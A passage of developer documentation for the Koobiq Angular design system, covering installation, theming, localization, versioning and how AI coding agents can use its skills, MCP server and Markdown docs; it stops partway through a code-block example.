# Koobiq Angular: full documentation

> Koobiq is an open-source design system for designers and developers, focused on designing products related to **information security**.

`@koobiq/components` 21.x for Angular 21. This file holds every item of https://koobiq.io/llms.txt in English, one after another.

Rules for code that uses Koobiq:

- Import from the secondary entry points only, for example `import { KbqButtonModule } from '@koobiq/components/button'`: the root of the package exports nothing. Shared providers, tokens and utilities come from `@koobiq/components/core`.
- Start from the closest example of an item instead of guessing its inputs. The API of its entry point lists every input and output; where the text of a page disagrees with it, the API is right.
- Put text controls, such as `input[kbqInput]`, `textarea[kbqTextarea]` and `kbq-select`, inside `<kbq-form-field>`; their hints and errors go inside it too.
- Style with the `--kbq-*` design tokens and the `kbq-*` typography classes; never hard-code colors, sizes or fonts.
- Icons come from `@koobiq/icons` through `<i kbq-icon="kbq-..."></i>`; an icon-only button needs an accessible label.
- Do not use anything marked as deprecated in new code.

## Installation

- Page: https://koobiq.io/en/main/installation/overview

This guide describes how to set up an Angular project to use `@koobiq/components`.

### Installing dependencies

Installation using [Angular CLI](https://angular.dev/cli/add) — recommended, because it installs the
Angular packages at the version your application is already on:

```bash
ng add @koobiq/components
```

`ng add` also adds the styles to `angular.json`, the theme classes to `index.html` and the theme provider to the
application. `--theme` picks `light`, `dark` or `auto`, the default, which follows the system color scheme. The
locale and the fonts are yours to set, as described below.

Manual installation. First install `@angular/cdk` at the version your `package.json` already has for
`@angular/core`:

```bash
npm install @angular/cdk@^21.2.0
```

Then install the library and the rest of its dependencies:

```bash
npm install @koobiq/components overlayscrollbars@2.7.3 @koobiq/icons @koobiq/design-tokens@^4 @koobiq/angular-luxon-adapter @koobiq/luxon-date-adapter @koobiq/date-adapter @koobiq/date-formatter luxon
```

`overlayscrollbars` is pinned to an exact version rather than a range: the scrollbar is built against
that specific release, and this is the version `ng add` installs too. `@koobiq/design-tokens` is held to
major version 4, the one this version of the library is built against.

`@koobiq/angular-luxon-adapter` (or `@koobiq/angular-moment-adapter`) is only needed if you use the
date components — [datepicker](https://koobiq.io/en/components/datepicker.md), [timepicker](https://koobiq.io/en/components/timepicker.md) or
[filter-bar](https://koobiq.io/en/components/filter-bar.md). Either one is a wrapper around a base adapter that has to be
installed next to it — `@koobiq/luxon-date-adapter` or `@koobiq/moment-date-adapter`. npm adds that
base package on its own, Yarn and pnpm do not, so install it explicitly. The adapter is provided next to the
locale, see below. Install `marked` if you use
[markdown](https://koobiq.io/en/components/markdown.md), `highlight.js` if you use
[code-block](https://koobiq.io/en/components/code-block.md), and `@angular/router` if you use
[breadcrumbs](https://koobiq.io/en/components/breadcrumbs.md).

### Change detection

The components do not need zone.js. They render in a zoneless application, the default since
Angular 21, and keep working in an application that loads zone.js and provides
`provideZoneChangeDetection()`. Nothing has to be configured for them. To make an existing
application zoneless, remove `provideZoneChangeDetection()` from its providers (`ng update` to
Angular 21 adds it to a bootstrap that has no change detection provider) and `zone.js` from its
`polyfills`. `provideZonelessChangeDetection()` only states the default: next to
`provideZoneChangeDetection()` it logs the NG0408 warning, and the order of the providers decides
which one applies.

```typescript
import { provideZonelessChangeDetection } from '@angular/core';

bootstrapApplication(AppComponent, {
    // No provideZoneChangeDetection(); this provider is optional.
    providers: [provideZonelessChangeDetection()]
});
```

### Animations

The components animate with CSS and need no setup: neither `@angular/animations` nor
`provideAnimations()`. The motion is off when the operating system asks for reduced motion
(`prefers-reduced-motion: reduce`). To turn it off in the whole application, for example in an
end-to-end suite, provide `KBQ_ANIMATIONS_CONFIG`:

```typescript
import { KBQ_ANIMATIONS_CONFIG } from '@koobiq/components/core';

bootstrapApplication(AppComponent, {
    providers: [{ provide: KBQ_ANIMATIONS_CONFIG, useValue: { animationsDisabled: true } }]
});
```

### Setting up styles

After installation, you need to include the library styles. Add the following files to the `styles` array in your `angular.json` file:

```json
"styles": [
  "node_modules/@koobiq/icons/fonts/kbq-icons.css",
  "node_modules/@koobiq/design-tokens/web/css-tokens.css",
  "node_modules/@koobiq/design-tokens/web/css-tokens-light.css",
  "node_modules/@koobiq/components/prebuilt-themes/theme.css",
  "src/styles.css"
]
```

`@koobiq/design-tokens` ships code-block, scrollbar and skeleton tokens as opt-in files. With the
default setup you need none of them: their values are already compiled into
`prebuilt-themes/theme.css`. Load the files yourself only if you build the library styles from SCSS
sources:

```scss
@use '@koobiq/design-tokens/web/component-tokens';
@use '@koobiq/design-tokens/web/component-tokens-light';
@use '@koobiq/design-tokens/web/component-tokens-dark';
```

To change the default values, don't load the files — set the CSS variables in your own stylesheet,
see the [theming guide](https://koobiq.io/en/main/theming.md).

### Setting up theme

Add the theme classes to the `<body>` element in your `index.html` file: `kbq-app-background` paints the page
background and text, `kbq-light` picks the theme.

```html
<body class="kbq-app-background kbq-light">
    <app-root></app-root>
</body>
```

For the dark theme, or to switch themes, also add `css-tokens-dark.css` to the styles; see the
[theming](https://koobiq.io/en/main/theming.md) section.

### Setting the locale

The components render some strings of their own: placeholders, tooltips, the accessible names of icon buttons.
Until the application provides a locale, they use the `ru-RU` strings, and switching the locale at runtime does
nothing. Provide the locale of your application:

```typescript
import { kbqLocaleIDProvider, kbqLocaleServiceProvider } from '@koobiq/components/core';

bootstrapApplication(AppComponent, {
    providers: [kbqLocaleIDProvider('en-US'), kbqLocaleServiceProvider()]
});
```

With the date components, provide the date adapter in the same `providers`: one locale service then serves the
components and the adapter, and a locale switched at runtime reaches both.

```typescript
import { importProvidersFrom } from '@angular/core';
import { KbqLuxonDateModule } from '@koobiq/angular-luxon-adapter/adapter';

bootstrapApplication(AppComponent, {
    providers: [kbqLocaleIDProvider('en-US'), kbqLocaleServiceProvider(), importProvidersFrom(KbqLuxonDateModule)]
});
```

The library ships `en-US`, `es-LA`, `pt-BR`, `ru-RU` and `tk-TM`. To switch the locale at runtime or override
the strings, see the [localization](https://koobiq.io/en/main/localization.md) section.

### Setting up typography

For proper component rendering, it is recommended to include the [Inter](https://github.com/rsms/inter) and
[JetBrains Mono](https://github.com/JetBrains/JetBrainsMono) fonts.

For more information, see the [typography](https://koobiq.io/en/main/typography.md) section.

### Using a component

Add a component to your application to verify that everything works correctly.

```typescript
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    imports: [KbqButtonModule, KbqIconModule],
    template: `
        <button kbq-button>
            <i kbq-icon="kbq-plus_16"></i>
            Button
        </button>
    `
})
export class AppComponent {}
```

## AI agents

- Page: https://koobiq.io/en/main/ai-agents/overview

AI coding agents, such as Claude Code, Codex, Cursor or GitHub Copilot, build better UI with Koobiq when they read its documentation instead of guessing. Agent Skills teach them how to work with Koobiq and where to read, the MCP server answers from the packages your project has installed, and every page of this documentation is also Markdown they can read. The skills hold no copy of the documentation: they read the site of the version your project uses, so they stay current without updates. Where the site disagrees with the typings of the version you have installed, the typings are right.

### Agent Skills

A skill is a folder of instructions in the open [Agent Skills](https://agentskills.io) format. An agent reads the short description of every skill it has and loads a skill when a task matches it. Koobiq has three skills, for Koobiq 21 and later:

| Skill                    | Use it for                                                                                                                                      | Example request                                                                           |
| ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------- |
| `koobiq-angular-setup`   | Adding Koobiq to an Angular project: `ng add`, then the styles, theme, locale and fonts it needs                                                | "Add Koobiq to this project"                                                              |
| `koobiq-angular`         | Building UI with `@koobiq/components`: the component for a task, its imports, inputs and examples, forms, theming with design tokens, and icons | "Add a form to create a user: a name, a role from a list, a switch to send an invitation" |
| `koobiq-angular-upgrade` | Upgrading a project to a new version of Koobiq: `ng update`, then the warnings and the manual steps it leaves                                   | "Upgrade Koobiq to the latest version and fix what breaks"                                |

`koobiq-angular` does not pick a component by its name. It finds the task in [which component when](https://koobiq.io/which-component-when.md), which names the component to use, the neighbor it is often confused with, and why, then reads the page of the component, the example closest to the task and the API of its entry point.

#### How the skills read the documentation

A skill reads the version of `@koobiq/components` in your project, then the site of that version: `koobiq.io` for the latest major version, `v<major>.koobiq.io` for an older one. It downloads the files it needs with `curl` where it can run commands, because a fetch tool that summarizes pages may rewrite the code in them. When the site cannot be reached, the skill says so and works from the typings in `node_modules`.

#### Installing

The [skills CLI](https://github.com/vercel-labs/skills) installs the skills into the folders of the agents you choose, such as `.claude/skills` or `.agents/skills`:

```bash
npx skills add koobiq/angular-components/packages/skills
```

Add `--skill koobiq-angular` to install only one of them. The [GitHub CLI](https://cli.github.com) installs them as well:

```bash
gh skill install koobiq/angular-components angular/koobiq-angular
```

The skills change only when the way of reading the documentation does; `npx skills update` or `gh skill update` brings them up to date. Whatever release they come from, they read the site of the version your project uses; to install the skills of a given release, add its tag: `npx skills add koobiq/angular-components/packages/skills#<version>` or `gh skill install koobiq/angular-components angular/koobiq-angular@<version>`.

#### Network access

The skills need to reach `koobiq.io` and its subdomains. In Claude Code, allow them in `.claude/settings.json`:

```json
{
    "permissions": {
        "allow": ["WebFetch(domain:koobiq.io)", "WebFetch(domain:*.koobiq.io)"]
    }
}
```

With the sandbox on, these rules also let commands such as `curl` reach the site; without it, Claude Code asks before each `curl` the skills run unless you allow it. Codex cloud and the Copilot coding agent block the internet by default: add `koobiq.io` and the `v<major>.koobiq.io` you use to the allowlist of the Codex environment or of the agent firewall.

#### Using the skills

An agent loads a skill on its own when the request matches the description of the skill. To make sure it does, name the skill in the request: "Use the koobiq-angular skill to add a filter bar to the table".

The skills are instructions only: they run no scripts of their own and read nothing but the Koobiq site. Install them from `koobiq/angular-components`, and review what an agent changes as you would review the code of a colleague.

### MCP server

The MCP server `@koobiq/mcp` answers an agent from the packages your project has installed: the API of a component, icons, design tokens, examples, guides, and which component fits a task. Install it in the project:

```bash
npm install -D @koobiq/mcp
```

Then register it with the agent, for Claude Code in `.mcp.json` at the root of the project:

```json
{
    "mcpServers": {
        "koobiq": { "command": "npx", "args": ["koobiq-mcp"] }
    }
}
```

The server starts inside the project and reads its `node_modules`, so its answers follow the versions you have installed. It works alongside the skills.

| Tool                   | What it answers                                                                               |
| ---------------------- | --------------------------------------------------------------------------------------------- |
| `search`               | Finds entry points, symbols, examples, icons and design tokens by words in English or Russian |
| `get_component`        | The API of an entry point: inputs, outputs, selectors and `exportAs`                          |
| `get_example`          | The source of an example from the documentation                                               |
| `get_icon`             | The name and markup of an icon                                                                |
| `get_token`            | The CSS variable of a design token and its value in each theme                                |
| `get_guide`            | A guide or a section of it: installation, theming, localization, migration and others         |
| `migrate`              | What changed between two versions and which entry points lost API                             |
| `which_component_when` | Which component fits a task and which neighbor does not, with the reason                      |
| `list_components`      | Every entry point of `@koobiq/components`, as ids the other tools accept                      |

### Documentation for LLMs

Every page of this documentation is also available as Markdown, short enough for an agent that reads the web to read whole:

| File                                                                                                        | What it holds                                                                                                        |
| ----------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| [llms.txt](https://koobiq.io/llms.txt)                                                                      | The index: the rules for code that uses Koobiq, and a link to the Markdown of every page with what the page is about |
| [which-component-when.md](https://koobiq.io/which-component-when.md)                                        | The words of a request mapped to the component that does the task and the neighbor it is confused with               |
| The address of a page with `.md` at the end, such as [select.md](https://koobiq.io/en/components/select.md) | The text of the page, with a link to every example, to the API of its entry point and to the tokens of its component |
| `/examples/<id>.md`, such as [select-multiple.md](https://koobiq.io/examples/select-multiple.md)            | One example with every file of it                                                                                    |
| `/api/<entry-point>.md`, such as [api/select.md](https://koobiq.io/api/select.md)                           | The API of an entry point, as its API tab shows it                                                                   |
| [llms-full.txt](https://koobiq.io/llms-full.txt)                                                            | All the pages with their examples and API in one file of about 4 MB: for tools that index it, not for a chat         |

Give an agent the address of `llms.txt` and let it open the files it needs. The links in every file lead to the same site, so the files of `next.koobiq.io` link those of `next.koobiq.io`. The Markdown is in English under every language of the site: a model reads it just as well and answers in the language you ask in.

### Instructions for the project

Agents, Claude Code included, read the instructions of a project from `AGENTS.md` at its root; a project that also has a `CLAUDE.md` includes it there with an `@AGENTS.md` line. A few lines there make an agent use Koobiq even when a request does not mention it:

```markdown
## UI

This project uses the Koobiq design system, `@koobiq/components`.

- Build UI with the `koobiq-angular` skill; upgrade Koobiq with the `koobiq-angular-upgrade` skill.
- Without the skills, read https://koobiq.io/llms.txt and the Markdown of a component before writing code with it.
- Import from the secondary entry points only, such as `@koobiq/components/button`.
- Style with the `--kbq-*` design tokens; never hard-code colors, sizes or fonts.
```

## Versioning

- Page: https://koobiq.io/en/main/versioning/overview

Our releases follow the versioning described in the [Semver spec](http://semver.org/).

### Versioning

**MAJOR**

Contains significant new features and changes and may include breaking changes.
Upgrading takes effort from developers and involves changes that are incompatible
with previous versions: in the API, file paths, component behavior and/or dependencies.
Components deprecated earlier are removed in a new major version.

For example:

- The names of exported entry points change;
- Public interfaces (@Inputs/@Outputs) change or are renamed;
- CSS changes that affect styles outside a component;
- A peer dependency moves to a new major version;
- A visual change in a component that could affect the public API.

**MINOR**

Includes small features and changes.
Upgrading does not require any action from developers.
Minor versions may deprecate components.
Full backward compatibility is kept.

For example:

- Something is added to a component's template. This includes elements, attributes and classes.

**PATCH**

Contains bug fixes. Upgrading takes no effort from developers.

For example:

- package dependencies are updated;
- the project structure changes;
- improvements and fixes.

**No release**

- Dev dependencies are updated
- Tests or examples are added
- Examples are updated
- Internal documentation is updated

### Compatibility

| Koobiq | Angular | TypeScript | Node.js                 |
| ------ | ------- | ---------- | ----------------------- |
| 21.x   | 21.x    | 5.9        | 20.19, 22.12 or 24+     |
| 20.x   | 20.x    | 5.8–5.9    | 20.19, 22.12 or 24+     |
| 19.x   | 19.x    | 5.5–5.8    | 18.19.1, 20.11.1 or 22+ |
| 18.x   | 18.x    | 5.4–5.5    | 18.19.1, 20.11.1 or 22+ |

TypeScript and Node.js follow the requirements of the Angular release.

### Release frequency

We follow a time-based release schedule that consists of:

- One major release every six months
- One to three minor releases for each major release
- Patch releases shipped as urgent fixes when needed

### Support policy

Every major release is supported for about 12 months.
We distinguish two stages of support for major releases:

| Status | Period   | Description                                                      |
| ------ | -------- | ---------------------------------------------------------------- |
| Active | 6 months | Regular minor releases                                           |
| LTS    | 6 months | Patch releases that fix critical issues, and compatible features |

Our support policy covers every part of the design system,
including the codebase, the Figma design kits and our documentation.

We recommend always staying on the active version.
When a version moves from the active stage to LTS (long-term support),
projects should start migrating to the new active major version.
That said, we are always ready to consider critical fixes for earlier versions too.

## Theming

- Page: https://koobiq.io/en/main/theming/overview

A theme in Koobiq is a set of CSS variables. Switching a theme swaps the values; nothing else has to change. This guide shows how to plug a theme in, how to switch it, and how to use its values in your own styles.

### How theming works

There are three layers.

**Global variables** describe the design system: colors, sizes, fonts. They come from the `@koobiq/design-tokens` package and are declared under the theme selector — `.kbq-light` or `.kbq-dark`. These are the values you reach for in your own styles.

**Component variables** are used inside Koobiq components. Each one is named after its component (`--kbq-button-*`, `--kbq-alert-*`) and points to a global variable. The component declares them itself, so nothing extra has to be included. The exception is code-block, scrollbar and skeleton: their tokens live in `@koobiq/design-tokens`, but with the default setup nothing has to be done for them either — their values are already part of the prebuilt styles.

**Your styles** use the global variables directly. No imports, no mixins, no registration in a single theme entry point.

Adding a theme to the page means putting a class on `<body>`. Everything below it — components and your own markup alike — picks up the new values automatically, because all of it reads the same variables.

### Setup

- [Install the Koobiq package](https://koobiq.io/en/main/installation.md).
- Include `css-tokens.css`, `css-tokens-light.css` and `css-tokens-dark.css` — these hold the global values.
- Include the prebuilt styles in your main stylesheet. Components and overlays (popups, dropdowns) need this to render correctly. It also carries the token values of code-block, scrollbar and skeleton, so no separate files are needed for them:

```scss
@use '@koobiq/components/prebuilt-themes/theme.css';
```

- Add the theme class to `<body>`:

```html
<body class="kbq-app-background kbq-light">
    <app></app>
</body>
```

`kbq-app-background` paints the page itself — background and text color.

- Import a component and use it. 🚀

### Switching themes

Use `KbqThemeService`. It puts the right class on `<body>`, remembers the choice, and in `'auto'` mode follows the system color scheme.

There are three modes: `'light'`, `'dark'` and `'auto'`. **`'auto'` is the default.** The system color scheme is supported out of the box: no `matchMedia` subscription of your own.

The service exposes its current state as signals, so you can read it straight from a template:

```ts
protected readonly themeService = inject(KbqThemeService);
```

```html
<button kbq-button (click)="themeService.toggle()">
    {{ themeService.colorScheme() === 'dark' ? 'Light theme' : 'Dark theme' }}
</button>
```

If you have more than two themes and need a list rather than a light/dark switch, you can pin one by name. See [Core](https://koobiq.io/en/components/core.md) for the details and a live example.

#### Theme selectors

| Theme | Selector   |
| ----- | ---------- |
| Light | .kbq-light |
| Dark  | .kbq-dark  |

#### Settings

Pass the settings when the app starts:

```ts
import { kbqThemeProvider } from '@koobiq/components/core';

bootstrapApplication(AppComponent, {
    providers: [kbqThemeProvider({ mode: 'auto', storageKey: 'my-app-theme' })]
});
```

The choice is saved between visits — in `localStorage` by default, where switching the theme in one tab is picked up by the app's other open tabs. Apps rendered on the server can store it in a cookie instead, so the server already knows which theme to render: provide `KbqThemeCookieStore` through the `KBQ_THEME_STORE` token. It reads the cookie straight off the incoming request, so nothing else has to be wired up on the server.

### Using theme values in your own styles

Write the variable where you need the value:

```css
.my-component-text {
    color: var(--kbq-foreground-contrast-secondary);
}
```

Nothing to import, no mixin to write, nothing to register in a single theme entry point. The value resolves in the browser, so it changes on its own when the theme changes.

**Example: Theme values in your own styles** (`theme-css-variables`)

```ts theme-css-variables-example.ts
import { ChangeDetectionStrategy, Component, inject } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqThemeService } from '@koobiq/components/core';

@Component({
    selector: 'theme-css-variables-example',
    imports: [KbqButtonModule],
    template: `
        <div class="theme-css-variables-example__card">
            <p class="theme-css-variables-example__caption">Current theme: {{ themeService.colorScheme() }}</p>
            <button kbq-button (click)="themeService.toggle()">Switch theme</button>
        </div>
    `,
    styles: `
        .theme-css-variables-example__card {
            padding: var(--kbq-size-l);
            border: 1px solid var(--kbq-line-contrast-less);
            border-radius: var(--kbq-size-border-radius);
            background: var(--kbq-background-card);
            color: var(--kbq-foreground-contrast);
        }

        .theme-css-variables-example__caption {
            margin: 0 0 var(--kbq-size-m);
            color: var(--kbq-foreground-contrast-secondary);
        }
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ThemeCssVariablesExample {
    // The app's shared service, so the switch flips the whole page — that is the point here: nothing
    // in the styles above reacts to it explicitly, the variables simply resolve to the other theme.
    protected readonly themeService = inject(KbqThemeService);
}
```

The full list of global variables is on the [Design tokens](https://koobiq.io/en/main/design-tokens.md) page.

### Overriding a component's variables

When a component's default look doesn't fit, change the values of its variables rather than its styles. Start by knowing where those variables are declared, because that determines how you reach them. Every component sets them on its own selector, in a file next to itself:

```css
/* button-tokens.scss */
.kbq-button,
.kbq-button-icon {
    --kbq-button-filled-contrast-fade-off-background: var(--kbq-background-contrast);
}
```

The button sets the variable on itself, so a blanket declaration in `:root` simply won't be seen. For an override to work, you have to hit that same element.

That leaves two approaches.

**Change a single instance.** Give it a class of your own and set the variable there. The class lands on the same element as the default value and, coming later, wins:

```html
<button kbq-button class="my-danger-button">Delete</button>

<style>
    .my-danger-button {
        --kbq-button-filled-contrast-fade-off-background: var(--kbq-background-error);
    }
</style>
```

**Change every component of that type in the app.** This needs a selector that outranks the component's own. The simplest one to add is the theme selector — which also lets you give light and dark different values, when one color won't do for both:

```css
.kbq-light .kbq-button {
    --kbq-button-filled-contrast-fade-off-background: var(--kbq-background-error);
}

.kbq-dark .kbq-button {
    --kbq-button-filled-contrast-fade-off-background: var(--kbq-background-error-fade);
}
```

Rules like these are worth keeping in one file, loaded after the design system's styles — then all of the app's overrides live in one place instead of scattering across components.

### Building your own component

Your component reads the same global variables the library reads. Give it a stylesheet and turn off style encapsulation — that is the whole setup:

```ts
@Component({
    selector: 'my-card',
    templateUrl: './my-card.html',
    styleUrl: './my-card.scss',
    encapsulation: ViewEncapsulation.None,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class MyCard {}
```

```scss
.my-card {
    padding: var(--kbq-size-l);
    border: var(--kbq-size-border-width) solid var(--kbq-line-contrast-less);
    border-radius: var(--kbq-size-border-radius);

    background: var(--kbq-background-card);
    color: var(--kbq-foreground-contrast);
}
```

There is **no** need to write a separate `_my-card-theme.scss` mixin and then register it in a single theme entry point.

#### Corner shape

Where the browser supports `corner-shape`, components round their corners with a squircle (`corner-shape: squircle`); other browsers get a plain radius. A squircle looks smaller than an arc of the same radius, so its radius is scaled up. To give your component the same corners as the library's, include the mixin:

```scss
@use '@koobiq/components/core/styles/common/squircle' as *;

.my-card {
    @include kbq-squircle(var(--kbq-size-border-radius));
}
```

Without SCSS, write the same rule by hand:

```css
.my-card {
    --my-card-radius: var(--kbq-size-border-radius);

    border-radius: var(--my-card-radius);
}

@supports (corner-shape: squircle) {
    .my-card {
        corner-shape: squircle;
        border-radius: clamp(
            var(--my-card-radius) * 1.85,
            var(--my-card-radius) * 2.3 - 3.6px,
            var(--my-card-radius) * 2
        );
    }
}
```

To change a library component's radius, set its variable (for example `--kbq-button-size-border-radius`) rather than `border-radius`. The scaling applies to the variable: a plain `border-radius` leaves the corner a squircle that looks too small. A component made round with `50%` also needs `corner-shape: round`.

### Rebranding with a single file

You can restyle the whole app by overriding CSS variables in one place:

```css
.kbq-light {
    --kbq-background-contrast: #1a3a6b;
    --kbq-foreground-contrast: #0d1b2a;
}

.kbq-dark {
    --kbq-background-contrast: #7ba7e8;
    --kbq-foreground-contrast: #e8eef7;
}
```

Load that file after the design system's own, and every component follows.

One honest limitation: this works at the global layer. Component variables are declared on the component's selector, so a single global file can't reach them — you would need a rule per component, as shown above.

### Where to find the variables

Global variables, with their values and previews: [Design tokens](https://koobiq.io/en/main/design-tokens.md).

The variables of a component are declared next to its code, in its tokens file, such as `button-tokens.scss` for the button: open it from the **Source code** link on the page of the component. In a browser, the developer tools show them on the element of the component, as custom properties such as `--kbq-button-*`.

### Where the values come from

**Design system tokens** are the values that define how our components look. They live in the [@koobiq/design-tokens](https://github.com/koobiq/design-tokens) package.

**Component variables** are the values used inside component styles. They are derived from the design tokens and live in the `@koobiq/components` repository, next to the components themselves.

Note

Version 4.0.0 of `@koobiq/design-tokens` removed the component tokens, except for code-block, scrollbar and skeleton. Their tokens ship as separate files — `component-tokens.css` and its light and dark parts — and their values are already part of `@koobiq/components`' own `prebuilt-themes/theme.css`, so you don't need to load them yourself. Everything else is carried by the components themselves. If copies of the removed tokens are still in your own `css-tokens.css`, `css-tokens-light.css`, `css-tokens-dark.css` or `css-tokens-font.css`, delete them, and run `npx koobiq-tokens-codemod src` to find what else the upgrade touches.

## Localization

- Page: https://koobiq.io/en/main/localization/overview

Koobiq components render some strings of their own — the filters menu of the filter bar, the tooltips of
the code block, the accessible names of every icon-only button, the placeholder of a datepicker, and so on.
All of them come from one place: `KbqLocaleService`.

The library ships five locales: `en-US`, `es-LA`, `pt-BR`, `ru-RU` and `tk-TM`.

The application's data is never translated. Option labels, filter values, table cells and everything else
the application passes in is rendered exactly as given.

Translating those strings is the application's own job: Koobiq neither requires nor ships a library for it.
When one of them has to contain a Koobiq component — a link, a button, a dropdown — embed it with
[dynamic-translation](https://koobiq.io/en/components/dynamic-translation.md).

### Setting the locale

`KbqLocaleService` is `providedIn: 'root'`, but the components read it through the `KBQ_LOCALE_SERVICE`
token, which has no factory. Nothing is localized until it is provided:

```ts
import { kbqLocaleServiceProvider } from '@koobiq/components/core';

bootstrapApplication(AppComponent, {
    providers: [kbqLocaleServiceProvider()]
});
```

Without that provider every component falls back to its own built-in `ru-RU` defaults, and switching the
locale at runtime does nothing. The placeholder of the datepicker is the exception: it names the format its input
parses — the shipped one of the date adapter's locale (`KBQ_DATE_LOCALE`, Angular's `LOCALE_ID` unless
provided), or the format itself, such as `yyyy/mm/dd`, for a locale the library ships no strings for and for a
format set through `KBQ_DATE_FORMATS`.

Use `kbqLocaleServiceProvider()` rather than `{ provide: KBQ_LOCALE_SERVICE, useClass: KbqLocaleService }`:
`useClass` builds a **second** instance, independent of the `providedIn: 'root'` one, so a `setLocale()`
called on the instance that `inject(KbqLocaleService)` hands out moves nothing that is rendered. The helper
provides the service next to the token, and both references resolve to one instance.

There are three ways to control which locale is active:

- **`KBQ_DEFAULT_LOCALE_ID`** is the fallback, `ru-RU`. It is a plain exported constant, not an injection
  token — it cannot be provided, only read.
- **`KBQ_LOCALE_ID`**, set through `kbqLocaleIDProvider(id)`, fixes the locale once, when `KbqLocaleService`
  is constructed. It must sit in the **same `providers` array** as the service itself, because the service
  reads the token from the injector that created it.
- **`setLocale(id)`** changes the locale at runtime.

```ts
providers: [kbqLocaleIDProvider('en-US'), kbqLocaleServiceProvider()];
```

The same pair on a component's `providers` scopes the locale to that component's subtree, while the rest of
the application keeps the locale it was given.

Reading the active locale:

```ts
readonly localeService = kbqInjectLocaleService();

readonly currentLocale = this.localeService.localeId;   // Signal<KbqLocaleIdLike>
readonly localeData = this.localeService.data;          // Signal<KbqLocaleData>
readonly available = this.localeService.items;          // Signal<KbqLocaleItem[]>, for a locale picker
```

`kbqInjectLocaleService()` resolves `KBQ_LOCALE_SERVICE`, never the class. Pass `{ optional: true }` for code
that has to keep working in an application that provided no locale service.

`changes` is a `BehaviorSubject` of the active locale id, and it remains the way for code outside a template
to observe a locale change. The `id` and `current` getters, on the other hand, are deprecated in favour of
the `localeId` and `data` signals. A signal read from a template registers on the reading view, so a runtime
`setLocale()` reaches `OnPush` children that an observable subscribed in the parent could not.

### What a locale is made of

A locale is a set of sections, one per area of strings. The section is the unit of overriding: its name
appears in the locale data, in `getParams()` and in `[localeOverrides]` alike.

| Section              | What it translates                                                                 | Package               |
| -------------------- | ---------------------------------------------------------------------------------- | --------------------- |
| `a11y`               | accessible names of the icon-only buttons and regions the library renders itself   | `core`                |
| `select`             | the "select all" label and the counter of values that did not fit                  | `core`                |
| `popoverConfirm`     | the question and the button of the confirmation popover                            | `core`                |
| `formatters`         | separators and abbreviations of `kbqNumber`, `kbqTableNumber` and `kbqRoundNumber` | `core`                |
| `sizeUnits`          | the size units of `kbqDataSize`                                                    | `core`                |
| `input`              | the separators of the number input                                                 | `input`               |
| `datepicker`         | the placeholder and the format of the date field                                   | `datepicker`          |
| `timepicker`         | the placeholders of the time field                                                 | `timepicker`          |
| `timezone`           | the search placeholder of the timezone select                                      | `timezone`            |
| `timeRange`          | the title and the editor of the time range                                         | `time-range`          |
| `codeBlock`          | the tooltips and labels of the code block buttons                                  | `code-block`          |
| `fileUpload`         | the text of the single and multiple upload areas                                   | `file-upload`         |
| `filterBar`          | search, reset and the saved filters menu                                           | `filter-bar`          |
| `actionsPanel`       | the close tooltip of the actions panel                                             | `actions-panel`       |
| `clampedText`        | the expand and collapse labels of clamped text                                     | `clamped-text`        |
| `navbar`             | the tooltips of the vertical navbar toggle                                         | `navbar`              |
| `searchExpandable`   | the tooltip and the placeholder of the expandable search                           | `search-expandable`   |
| `appSwitcher`        | the search and the header of the app switcher                                      | `app-switcher`        |
| `notificationCenter` | the labels of the notification center                                              | `notification-center` |

The full contract of a section is its `Kbq<Section>LocaleConfiguration` type, where every key is documented.
Its token and its provider are named mechanically: `KBQ_<SECTION>_LOCALE_CONFIGURATION` and
`kbq<Section>LocaleConfigurationProvider()`.

### Overriding the strings of one component

A section provider overrides only the keys it is given — everything else keeps its default:

```ts
import { kbqCodeBlockLocaleConfigurationProvider } from '@koobiq/components/code-block';

providers: [kbqCodeBlockLocaleConfigurationProvider({ copyTooltip: 'Copy the snippet' })];
```

Because these providers are element-injector friendly, providing one on a component scopes the override to
that component's subtree.

**Example: Code-block with custom locale configuration, without KBQ\_LOCALE\_SERVICE** (`code-block-with-custom-locale-configuration`)

```ts code-block-with-custom-locale-configuration-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import {
    KbqCodeBlockFile,
    kbqCodeBlockHighlightJsConfigProvider,
    kbqCodeBlockLocaleConfigurationProvider,
    KbqCodeBlockModule
} from '@koobiq/components/code-block';
import { KBQ_LOCALE_SERVICE } from '@koobiq/components/core';

@Component({
    selector: 'code-block-with-custom-locale-configuration-example',
    imports: [KbqCodeBlockModule],
    template: `
        <kbq-code-block canToggleSoftWrap maxHeight="200" lineNumbers [canDownload]="true" [files]="files" />
    `,
    providers: [
        kbqCodeBlockHighlightJsConfigProvider({
            languages: {
                xml: () => import('highlight.js/lib/languages/xml')
            }
        }),
        // Disable global KBQ_LOCALE_SERVICE for locale configuration overriding
        { provide: KBQ_LOCALE_SERVICE, useValue: null },
        kbqCodeBlockLocaleConfigurationProvider({
            softWrapOnTooltip: '*CUSTOM* Enable word wrap',
            softWrapOffTooltip: '*CUSTOM* Disable word wrap',
            downloadTooltip: '*CUSTOM* Download',
            copiedTooltip: '*CUSTOM* ✓ Copied',
            copyTooltip: '*CUSTOM* Copy',
            viewAllText: '*CUSTOM* Show all',
            viewLessText: '*CUSTOM* Show less',
            openExternalSystemTooltip: '*CUSTOM* Open in the external system'
        })
    ],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CodeBlockWithCustomLocaleConfigurationExample {
    readonly files: KbqCodeBlockFile[] = [
        {
